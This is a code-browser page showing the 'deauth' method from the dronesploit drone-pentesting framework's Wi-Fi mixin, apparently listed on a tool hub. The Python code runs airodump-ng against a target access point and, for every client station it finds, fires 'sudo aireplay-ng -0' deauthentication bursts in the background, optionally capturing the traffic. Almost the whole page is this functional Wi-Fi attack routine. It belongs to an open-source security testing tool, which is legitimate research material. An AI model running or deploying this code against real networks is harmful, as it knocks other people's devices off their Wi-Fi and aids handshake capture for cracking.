MCPcopy
hub / github.com/dronesploit/dronesploit / deauth

Method deauth

dronesploit/wifi/mixin.py:67–109  ·  view source on GitHub ↗
(self, bssid, station=None, n_packets=5, interval=0, timeout=None, capture=None, post_func=None,
               silent=False)

Source from the content-addressed store, hash-verified

65 requirements = {'system': ["aircrack-ng/aireplay-ng", "aircrack-ng/airodump-ng"]}
66
67 def deauth(self, bssid, station=None, n_packets=5, interval=0, timeout=None, capture=None, post_func=None,
68 silent=False):
69 t = self.console.state['TARGETS']
70 try:
71 k = self.config.option('ESSID').value
72 except KeyError:
73 k = self.config.option('TARGET').value
74 ch = t[k]['channel']
75 iface = self.console.root.mon_interfaces[0]
76 cmd = "sudo airodump-ng -c {}%s --bssid {} {}".format(ch, bssid, iface)
77 cmd = cmd % [" -w {}".format(capture), ""][capture is None]
78 tr = {}
79 # capture packets on the target BSSID
80 i = 0
81 try:
82 for line in self.console._jobs.run_iter(cmd, timeout=timeout):
83 m = STATION_REGEX.search(line)
84 # deauthenticate any station found
85 if m is not None:
86 s = m.group("station")
87 # do not self-deauth
88 if s in self.console.root.self_mac_addresses:
89 continue
90 if station is None or station == s:
91 tr.setdefault(s, 0)
92 if interval == 0 or time() - tr[s] > interval:
93 if not silent:
94 self.logger.warning("Deauth station: {}".format(s))
95 cmd = "sudo aireplay-ng -0 {} -a {} -c {} {}".format(n_packets, bssid, s, iface)
96 self.console._jobs.background(cmd, subpool="deauth")
97 if i % 5 == 0:
98 self.console._jobs.free("deauth")
99 # interval=0 means deauth only once
100 if interval == 0:
101 break
102 i += 1
103 tr[s] = time()
104 if post_func:
105 r = post_func(**locals())
106 if r is not None:
107 return r
108 finally:
109 self.console._jobs.terminate("deauth")
110
111
112class ScanMixin(object):

Callers 4

send_commandMethod · 0.80
runMethod · 0.80
runMethod · 0.80
runMethod · 0.80

Calls

no outgoing calls

Tested by

no test coverage detected